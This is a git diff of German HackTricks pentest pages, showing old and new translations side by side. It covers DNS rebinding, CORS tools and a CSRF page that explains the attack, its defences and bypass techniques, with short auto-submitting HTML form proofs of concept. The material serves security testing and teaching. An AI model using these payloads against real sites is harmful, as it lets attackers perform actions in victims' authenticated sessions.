Weitere Informationen zu den zuvor genannten Umgehungstechniken und zur Verwendung des folgenden Tools finden Sie in dem Vortrag [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
||||
Weitere Informationen zu den vorherigen Umgehungstechniken und wie man das folgende Tool verwendet, finden Sie im Vortrag [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
||||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) ist ein Tool zur Durchführung von [DNS-Rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding)-Angriffen. Es enthält die erforderlichen Komponenten, um die IP-Adresse des Angriffsservers-DNS-Namens an die IP-Adresse der Zielmaschine zu binden und Angriffspayloads bereitzustellen, um verwundbare Software auf der Zielmaschine auszunutzen.
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) ist ein Tool zur Durchführung von [DNS-Rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding)-Angriffen. Es enthält die erforderlichen Komponenten, um die IP-Adresse des Angriffsservers-DNS-Namens auf die IP-Adresse der Zielmaschine zurückzubinden und Angriffspayloads bereitzustellen, um anfällige Software auf der Zielmaschine auszunutzen.
|
||||
|
||||
### Echter Schutz gegen DNS-Rebinding
|
||||
|
||||
* Verwenden Sie TLS in internen Diensten.
|
||||
* Fordern Sie zur Datenzugriff Authentifizierung an.
|
||||
* Überprüfen Sie den Host-Header.
|
||||
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Vorschlag, immer eine Vorab-Anfrage zu senden, wenn öffentliche Server auf interne Server zugreifen möchten.
|
||||
* Verwenden Sie TLS bei internen Diensten
|
||||
* Fordern Sie Authentifizierung zum Zugriff auf Daten an
|
||||
* Validieren Sie den Host-Header
|
||||
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Vorschlag, immer eine Vorab-Anfrage zu senden, wenn öffentliche Server auf interne Server zugreifen möchten
|
||||
|
||||
## **Tools**
|
||||
|
||||
|
@ -378,6 +364,7 @@ Weitere Informationen zu den zuvor genannten Umgehungstechniken und zur Verwendu
|
|||
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
|
||||
|
||||
## Referenzen
|
||||
|
||||
* [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors)
|
||||
* [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin)
|
||||
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS)
|
||||
|
@ -388,17 +375,16 @@ Weitere Informationen zu den zuvor genannten Umgehungstechniken und zur Verwendu
|
|||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
|
||||
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Heldenniveau mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,68 +2,75 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
|
||||
|
||||
**Hacking Insights**\
|
||||
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.
|
||||
**Hacking-Einblicke**\
|
||||
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen
|
||||
|
||||
**Echtzeit-Hack-News**\
|
||||
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden.
|
||||
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke auf dem Laufenden
|
||||
|
||||
**Neueste Ankündigungen**\
|
||||
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert.
|
||||
|
||||
**Treten Sie uns auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und arbeiten Sie noch heute mit Top-Hackern zusammen!
|
||||
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert
|
||||
|
||||
**Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!
|
||||
|
||||
## Cross-Site Request Forgery (CSRF) erklärt
|
||||
|
||||
**Cross-Site Request Forgery (CSRF)** ist eine Art von Sicherheitslücke, die in Webanwendungen gefunden wird. Sie ermöglicht es Angreifern, Aktionen im Namen ahnungsloser Benutzer auszuführen, indem sie deren authentifizierte Sitzungen ausnutzen. Der Angriff wird ausgeführt, wenn ein Benutzer, der in die Plattform eines Opfers eingeloggt ist, eine bösartige Website besucht. Diese Website löst dann Anfragen an das Konto des Opfers aus, indem sie Methoden wie das Ausführen von JavaScript, das Absenden von Formularen oder das Abrufen von Bildern verwendet.
|
||||
**Cross-Site Request Forgery (CSRF)** ist ein Typ von Sicherheitslücke, die in Webanwendungen gefunden wird. Sie ermöglicht es Angreifern, Aktionen im Namen ahnungsloser Benutzer auszuführen, indem sie deren authentifizierte Sitzungen ausnutzen. Der Angriff wird ausgeführt, wenn ein Benutzer, der in die Plattform eines Opfers eingeloggt ist, eine bösartige Website besucht. Diese Website löst dann Anfragen an das Konto des Opfers aus, indem sie Methoden wie das Ausführen von JavaScript, das Absenden von Formularen oder das Abrufen von Bildern verwendet.
|
||||
|
||||
### Voraussetzungen für einen CSRF-Angriff
|
||||
|
||||
Um eine CSRF-Sicherheitslücke auszunutzen, müssen mehrere Bedingungen erfüllt sein:
|
||||
|
||||
1. **Identifizierung einer wertvollen Aktion**: Der Angreifer muss eine lohnenswerte Aktion finden, die ausgenutzt werden kann, wie z.B. das Ändern des Benutzerpassworts, der E-Mail-Adresse oder das Erhöhen von Berechtigungen.
|
||||
2. **Sitzungsverwaltung**: Die Sitzung des Benutzers sollte ausschließlich über Cookies oder den HTTP Basic Authentication-Header verwaltet werden, da andere Header für diesen Zweck nicht manipuliert werden können.
|
||||
1. **Identifizierung einer wertvollen Aktion**: Der Angreifer muss eine lohnenswerte Aktion finden, die ausgenutzt werden kann, wie z.B. das Ändern des Benutzerpassworts, der E-Mail oder das Erhöhen von Berechtigungen.
|
||||
2. **Sitzungsverwaltung**: Die Sitzung des Benutzers sollte ausschließlich über Cookies oder den HTTP Basic Authentication-Header verwaltet werden, da andere Header nicht für diesen Zweck manipuliert werden können.
|
||||
3. **Fehlen von unvorhersehbaren Parametern**: Die Anfrage sollte keine unvorhersehbaren Parameter enthalten, da diese den Angriff verhindern können.
|
||||
|
||||
### Schutz vor CSRF-Angriffen
|
||||
### Schnellüberprüfung
|
||||
|
||||
Sie könnten **die Anfrage in Burp erfassen** und CSRF-Schutzmaßnahmen überprüfen und um es aus dem Browser zu testen, können Sie auf **Als fetch kopieren** klicken und die Anfrage überprüfen:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Schutz vor CSRF
|
||||
|
||||
Es können mehrere Gegenmaßnahmen implementiert werden, um sich vor CSRF-Angriffen zu schützen:
|
||||
|
||||
* [**SameSite-Cookies**](hacking-with-cookies/#samesite): Dieses Attribut verhindert, dass der Browser Cookies zusammen mit Cross-Site-Anfragen sendet. [Mehr über SameSite-Cookies](hacking-with-cookies/#samesite).
|
||||
* [**Cross-Origin Resource Sharing**](cors-bypass.md): Die CORS-Richtlinie der Opferseite kann die Durchführbarkeit des Angriffs beeinflussen, insbesondere wenn der Angriff das Lesen der Antwort von der Opferseite erfordert. [Erfahren Sie mehr über CORS-Bypass](cors-bypass.md).
|
||||
* **Benutzerverifizierung**: Das Auffordern nach dem Passwort des Benutzers oder das Lösen eines Captchas kann die Absicht des Benutzers bestätigen.
|
||||
* **Überprüfung der Referrer- oder Origin-Header**: Die Validierung dieser Header kann dazu beitragen, sicherzustellen, dass Anfragen von vertrauenswürdigen Quellen stammen. Sorgfältig erstellte URLs können jedoch schlecht implementierte Überprüfungen umgehen, z.B.:
|
||||
- Verwendung von `http://mal.net?orig=http://example.com` (URL endet mit der vertrauenswürdigen URL)
|
||||
- Verwendung von `http://example.com.mal.net` (URL beginnt mit der vertrauenswürdigen URL)
|
||||
* **Ändern der Parameter-Namen**: Das Ändern der Namen von Parametern in POST- oder GET-Anfragen kann helfen, automatisierte Angriffe zu verhindern.
|
||||
* **CSRF-Token**: Die Einbindung eines eindeutigen CSRF-Tokens in jede Sitzung und die Anforderung dieses Tokens in nachfolgenden Anfragen können das Risiko von CSRF erheblich verringern. Die Effektivität des Tokens kann durch die Durchsetzung von CORS verbessert werden.
|
||||
* [**Cross-Origin-Ressourcenfreigabe**](cors-bypass.md): Die CORS-Richtlinie der Opferseite kann die Durchführbarkeit des Angriffs beeinflussen, insbesondere wenn der Angriff erfordert, dass die Antwort von der Opferseite gelesen wird. [Erfahren Sie mehr über CORS-Bypass](cors-bypass.md).
|
||||
* **Benutzerverifizierung**: Das Auffordern nach dem Benutzerpasswort oder das Lösen eines Captchas kann die Absicht des Benutzers bestätigen.
|
||||
* **Überprüfen von Referrer- oder Origin-Headern**: Die Validierung dieser Header kann dazu beitragen sicherzustellen, dass Anfragen von vertrauenswürdigen Quellen stammen. Eine sorgfältige Gestaltung von URLs kann jedoch schlecht implementierte Überprüfungen umgehen, wie z.B.:
|
||||
* Verwendung von `http://mal.net?orig=http://example.com` (URL endet mit der vertrauenswürdigen URL)
|
||||
* Verwendung von `http://example.com.mal.net` (URL beginnt mit der vertrauenswürdigen URL)
|
||||
* **Ändern von Parameternamen**: Das Ändern von Parameternamen in POST- oder GET-Anfragen kann helfen, automatisierte Angriffe zu verhindern.
|
||||
* **CSRF-Token**: Die Integration eines eindeutigen CSRF-Tokens in jede Sitzung und die Anforderung dieses Tokens in nachfolgenden Anfragen können das Risiko von CSRF erheblich verringern. Die Effektivität des Tokens kann durch die Durchsetzung von CORS verbessert werden.
|
||||
|
||||
Das Verständnis und die Umsetzung dieser Abwehrmaßnahmen sind entscheidend für die Sicherheit und Integrität von Webanwendungen.
|
||||
Das Verständnis und die Implementierung dieser Abwehrmaßnahmen sind entscheidend für die Aufrechterhaltung der Sicherheit und Integrität von Webanwendungen.
|
||||
|
||||
## Bypass der Verteidigung
|
||||
## Abwehrmaßnahmen umgehen
|
||||
|
||||
### Von POST zu GET
|
||||
|
||||
Vielleicht ist das Formular, das Sie missbrauchen möchten, darauf vorbereitet, eine **POST-Anfrage mit einem CSRF-Token zu senden**, aber Sie sollten **überprüfen**, ob auch ein **GET** gültig ist und ob beim Senden einer GET-Anfrage das **CSRF-Token immer noch validiert wird**.
|
||||
Vielleicht ist das Formular, das Sie missbrauchen möchten, darauf vorbereitet, eine **POST-Anfrage mit einem CSRF-Token zu senden**, aber Sie sollten **überprüfen**, ob ein **GET** ebenfalls **gültig** ist und ob beim Senden einer GET-Anfrage das **CSRF-Token immer noch validiert wird**.
|
||||
|
||||
### Fehlendes Token
|
||||
### Fehlen des Tokens
|
||||
|
||||
Anwendungen können einen Mechanismus implementieren, um **Tokens zu validieren**, wenn sie vorhanden sind. Es entsteht jedoch eine Sicherheitslücke, wenn die Validierung vollständig übersprungen wird, wenn das Token fehlt. Angreifer können dies ausnutzen, indem sie den Parameter entfernen, der das Token enthält, nicht nur seinen Wert. Dadurch können sie den Validierungsprozess umgehen und einen Cross-Site Request Forgery (CSRF)-Angriff effektiv durchführen.
|
||||
Anwendungen könnten einen Mechanismus implementieren, um **Tokens zu validieren**, wenn sie vorhanden sind. Es entsteht jedoch eine Sicherheitslücke, wenn die Validierung vollständig übersprungen wird, wenn der Token fehlt. Angreifer können dies ausnutzen, indem sie den Parameter entfernen, der den Token trägt, nicht nur seinen Wert. Dies ermöglicht es ihnen, den Validierungsprozess zu umgehen und einen Cross-Site Request Forgery (CSRF)-Angriff effektiv durchzuführen.
|
||||
|
||||
### CSRF-Token ist nicht an die Benutzersitzung gebunden
|
||||
|
||||
|
@ -71,18 +78,17 @@ Anwendungen, die CSRF-Tokens **nicht an Benutzersitzungen binden**, stellen ein
|
|||
|
||||
So nutzen Angreifer dies aus:
|
||||
|
||||
1. **Authentifizieren** Sie sich mit Ihrem eigenen Konto.
|
||||
2. **Erhalten Sie ein gültiges CSRF-Token** aus dem globalen Pool.
|
||||
3. **Verwenden Sie dieses Token** in einem CSRF-Angriff gegen ein Opfer.
|
||||
1. **Authentifizieren** sich mit ihrem eigenen Konto.
|
||||
2. **Erhalten ein gültiges CSRF-Token** aus dem globalen Pool.
|
||||
3. **Verwenden dieses Token** in einem CSRF-Angriff gegen ein Opfer.
|
||||
|
||||
Diese Sicherheitslücke ermöglicht es Angreifern, unberechtigte Anfragen im Namen des Opfers zu stellen und den unzureichenden Token-Validierungsmechanismus der Anwendung auszunutzen.
|
||||
Diese Sicherheitslücke ermöglicht es Angreifern, unbefugte Anfragen im Namen des Opfers zu stellen, indem sie den unzureichenden Token-Validierungsmechanismus der Anwendung ausnutzen.
|
||||
|
||||
### Umgehung der Methode
|
||||
### Methodenumgehung
|
||||
|
||||
Wenn die Anfrage eine "**seltsame**" **Methode** verwendet, überprüfen Sie, ob die Funktion zur **Methodenüberschreibung** funktioniert.
|
||||
Wenn beispielsweise eine **PUT**-Methode verwendet wird, können Sie versuchen, eine **POST**-Methode zu verwenden und Folgendes zu senden: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
Wenn die Anfrage eine "**seltsame**" **Methode** verwendet, überprüfen Sie, ob die **Methode** **Überschreibungsfunktion** funktioniert. Wenn beispielsweise eine **PUT**-Methode verwendet wird, können Sie versuchen, eine **POST**-Methode zu verwenden und zu **senden**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
Dies könnte auch funktionieren, indem der **\_method-Parameter in einer POST-Anfrage** gesendet wird oder indem die **Header** verwendet werden:
|
||||
Dies könnte auch funktionieren, indem der **\_method-Parameter innerhalb einer POST-Anfrage** gesendet wird oder indem die **Header** verwendet werden:
|
||||
|
||||
* _X-HTTP-Method_
|
||||
* _X-HTTP-Method-Override_
|
||||
|
@ -90,16 +96,18 @@ Dies könnte auch funktionieren, indem der **\_method-Parameter in einer POST-An
|
|||
|
||||
### Umgehung des benutzerdefinierten Header-Tokens
|
||||
|
||||
Wenn die Anfrage einen **benutzerdefinierten Header** mit einem **Token** als **CSRF-Schutzmethode** hinzufügt, dann:
|
||||
Wenn die Anfrage einen **benutzerdefinierten Header** mit einem **Token** zur Anfrage als **CSRF-Schutzmethode** hinzufügt, dann:
|
||||
|
||||
* Testen Sie die Anfrage ohne das **angepasste Token und auch den Header**.
|
||||
* Testen Sie die Anfrage ohne das **angepasste Token und auch Header**.
|
||||
* Testen Sie die Anfrage mit genau **gleicher Länge, aber unterschiedlichem Token**.
|
||||
|
||||
### CSRF-Token wird durch ein Cookie überprüft
|
||||
|
||||
Anwendungen können CSRF-Schutz implementieren, indem sie das Token sowohl in einem Cookie als auch in einem Anfragemarameter duplizieren oder indem sie ein CSRF-Cookie setzen und überprüfen, ob das Token, das im Backend gesendet wird, mit dem Cookie übereinstimmt. Die Anwendung überprüft Anfragen, indem sie prüft, ob das Token im Anfragemarameter mit dem Wert im Cookie übereinstimmt.
|
||||
Anwendungen können CSRF-Schutz implementieren, indem sie den Token sowohl in einem Cookie als auch in einem Anfrageparameter duplizieren oder indem sie ein CSRF-Cookie setzen und überprüfen, ob der im Backend gesendete Token mit dem Cookie übereinstimmt. Die Anwendung validiert Anfragen, indem sie prüft, ob der Token im Anfrageparameter mit dem Wert im Cookie übereinstimmt.
|
||||
|
||||
Diese Methode ist jedoch anfällig für CSRF-Angriffe, wenn die Website Schwachstellen aufweist, die es einem Angreifer ermöglichen, ein CSRF-Cookie im Browser des Opfers zu setzen, z.B.
|
||||
Diese Methode ist jedoch anfällig für CSRF-Angriffe, wenn die Website Fehler aufweist, die es einem Angreifer ermöglichen, ein CSRF-Cookie im Browser des Opfers zu setzen, wie z.B. eine CRLF-Sicherheitslücke. Der Angreifer kann dies ausnutzen, indem er ein irreführendes Bild lädt, das das Cookie setzt, gefolgt von der Initiierung des CSRF-Angriffs.
|
||||
|
||||
Nachfolgend ein Beispiel, wie ein Angriff strukturiert sein könnte:
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
|
||||
|
@ -116,18 +124,18 @@ Diese Methode ist jedoch anfällig für CSRF-Angriffe, wenn die Website Schwachs
|
|||
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Beachten Sie, dass dieser Angriff nicht funktioniert, wenn das CSRF-Token mit dem Sitzungscookie verknüpft ist, da Sie dem Opfer Ihre Sitzung übergeben müssen und somit sich selbst angreifen würden.
|
||||
Beachten Sie, dass, wenn das **CSRF-Token mit dem Sitzungscookie verknüpft ist, dieser Angriff nicht funktioniert**, da Sie dem Opfer Ihre Sitzung übergeben müssen und somit sich selbst angreifen würden.
|
||||
{% endhint %}
|
||||
|
||||
### Änderung des Content-Type
|
||||
### Änderung des Content-Typs
|
||||
|
||||
Gemäß [**diesem**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) Link sind dies die erlaubten Content-Type-Werte, um **Preflight-Anfragen** bei Verwendung der **POST**-Methode zu vermeiden:
|
||||
Gemäß [**dieser Quelle**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) sind zur **Vermeidung von Preflight-Anfragen** bei Verwendung der **POST**-Methode die folgenden Content-Type-Werte zulässig:
|
||||
|
||||
* **`application/x-www-form-urlencoded`**
|
||||
* **`multipart/form-data`**
|
||||
* **`text/plain`**
|
||||
- **`application/x-www-form-urlencoded`**
|
||||
- **`multipart/form-data`**
|
||||
- **`text/plain`**
|
||||
|
||||
Beachten Sie jedoch, dass die **Serverlogik variieren kann**, abhängig vom verwendeten Content-Type. Daher sollten Sie die genannten Werte sowie andere wie **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_**ausprobieren**._
|
||||
Beachten Sie jedoch, dass die **Serverlogik variieren kann**, abhängig vom verwendeten **Content-Type**, daher sollten Sie die genannten Werte und andere wie **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
|
||||
Beispiel (von [hier](https://brycec.me/posts/corctf\_2021\_challenges)) zum Senden von JSON-Daten als text/plain:
|
||||
```html
|
||||
|
@ -142,21 +150,19 @@ form.submit();
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### Umgehung von Preflight-Anfragen für JSON-Daten
|
||||
### Umgehen von Preflight-Anfragen für JSON-Daten
|
||||
|
||||
Wenn Sie versuchen, JSON-Daten über eine POST-Anfrage zu senden, ist es nicht direkt möglich, `Content-Type: application/json` in einem HTML-Formular zu verwenden. Ebenso führt die Verwendung von `XMLHttpRequest` zur Sendung dieses Inhaltstyps zu einer Preflight-Anfrage. Es gibt jedoch Strategien, um diese Einschränkung möglicherweise zu umgehen und zu überprüfen, ob der Server die JSON-Daten unabhängig vom Content-Type verarbeitet:
|
||||
Beim Versuch, JSON-Daten über eine POST-Anfrage zu senden, ist es in einem HTML-Formular nicht direkt möglich, `Content-Type: application/json` zu verwenden. Ebenso initiiert die Verwendung von `XMLHttpRequest` für diesen Inhaltstyp eine Preflight-Anfrage. Dennoch gibt es Strategien, um diese Einschränkung möglicherweise zu umgehen und zu überprüfen, ob der Server die JSON-Daten verarbeitet, unabhängig vom Content-Type:
|
||||
|
||||
1. **Verwenden Sie alternative Content-Typen**: Verwenden Sie `Content-Type: text/plain` oder `Content-Type: application/x-www-form-urlencoded`, indem Sie `enctype="text/plain"` im Formular festlegen. Mit diesem Ansatz wird getestet, ob die Backend-Anwendung die Daten unabhängig vom Content-Type verwendet.
|
||||
1. **Verwendung alternativer Content-Typen**: Verwenden Sie `Content-Type: text/plain` oder `Content-Type: application/x-www-form-urlencoded`, indem Sie `enctype="text/plain"` im Formular festlegen. Mit diesem Ansatz wird getestet, ob das Backend die Daten unabhängig vom Content-Type verwendet.
|
||||
2. **Ändern des Content-Typs**: Um eine Preflight-Anfrage zu vermeiden und gleichzeitig sicherzustellen, dass der Server den Inhalt als JSON erkennt, können Sie die Daten mit `Content-Type: text/plain; application/json` senden. Dies löst keine Preflight-Anfrage aus, könnte aber vom Server korrekt verarbeitet werden, wenn er konfiguriert ist, `application/json` zu akzeptieren.
|
||||
3. **SWF-Flash-Datei-Nutzung**: Eine weniger verbreitete, aber machbare Methode besteht darin, eine SWF-Flash-Datei zu verwenden, um solche Einschränkungen zu umgehen. Für ein tieferes Verständnis dieser Technik siehe [diesen Beitrag](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
|
||||
2. **Ändern Sie den Content-Type**: Um eine Preflight-Anfrage zu vermeiden und gleichzeitig sicherzustellen, dass der Server den Inhalt als JSON erkennt, können Sie die Daten mit `Content-Type: text/plain; application/json` senden. Dadurch wird keine Preflight-Anfrage ausgelöst, aber der Server verarbeitet die Daten möglicherweise korrekt, wenn er so konfiguriert ist, dass er `application/json` akzeptiert.
|
||||
### Referrer / Origin-Prüfung umgehen
|
||||
|
||||
3. **Verwendung einer SWF-Flash-Datei**: Eine weniger häufige, aber mögliche Methode besteht darin, eine SWF-Flash-Datei zu verwenden, um solche Einschränkungen zu umgehen. Für ein tieferes Verständnis dieser Technik lesen Sie [diesen Beitrag](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
**Vermeiden des Referrer-Headers**
|
||||
|
||||
### Umgehung der Referrer-/Origin-Prüfung
|
||||
|
||||
**Vermeiden Sie den Referrer-Header**
|
||||
|
||||
Anwendungen können den 'Referer'-Header nur überprüfen, wenn er vorhanden ist. Um zu verhindern, dass ein Browser diesen Header sendet, kann das folgende HTML-Meta-Tag verwendet werden:
|
||||
Anwendungen können den 'Referer'-Header nur validieren, wenn er vorhanden ist. Um zu verhindern, dass ein Browser diesen Header sendet, kann das folgende HTML-Meta-Tag verwendet werden:
|
||||
```xml
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
|
@ -168,7 +174,7 @@ Dies stellt sicher, dass der 'Referer'-Header ausgelassen wird und möglicherwei
|
|||
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Um den Domainnamen des Servers in der URL festzulegen, die der Referrer innerhalb der Parameter senden wird, können Sie Folgendes tun:
|
||||
Um den Domainnamen des Servers in der URL festzulegen, den der Referrer innerhalb der Parameter senden wird, können Sie Folgendes tun:
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
|
@ -187,17 +193,17 @@ document.forms[0].submit();
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### **Bypass der HEAD-Methode**
|
||||
### **HEAD-Methode umgehen**
|
||||
|
||||
Der erste Teil dieses [CTF-Writeups](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) erklärt, dass im [Quellcode von Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281) ein Router so eingestellt ist, dass **HEAD-Anfragen als GET-Anfragen behandelt** werden, ohne eine Antwort zurückzugeben - eine gängige Lösung, die nicht auf Oak beschränkt ist. Anstatt einen spezifischen Handler für HEAD-Anfragen zu verwenden, werden sie einfach **an den GET-Handler weitergeleitet, aber die Anwendung entfernt einfach den Antwortkörper**.
|
||||
Der erste Teil [**dieses CTF-Lösungsberichts**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) erklärt, dass im [Oak-Quellcode](https://github.com/oakserver/oak/blob/main/router.ts#L281) ein Router so eingestellt ist, dass **HEAD-Anfragen als GET-Anfragen behandelt** werden, ohne Antwortkörper - ein gängiger Workaround, der nicht einzigartig für Oak ist. Anstatt eines spezifischen Handlers, der mit HEAD-Anfragen umgeht, werden sie einfach **dem GET-Handler übergeben, aber die App entfernt einfach den Antwortkörper**.
|
||||
|
||||
Daher könnten Sie, wenn eine GET-Anfrage eingeschränkt ist, einfach eine HEAD-Anfrage senden, die als GET-Anfrage verarbeitet wird.
|
||||
Daher könnten Sie, wenn eine GET-Anfrage eingeschränkt ist, einfach **eine HEAD-Anfrage senden, die als GET-Anfrage verarbeitet wird**.
|
||||
|
||||
## **Beispiel für einen Angriff**
|
||||
## **Beispiel für Exploits**
|
||||
|
||||
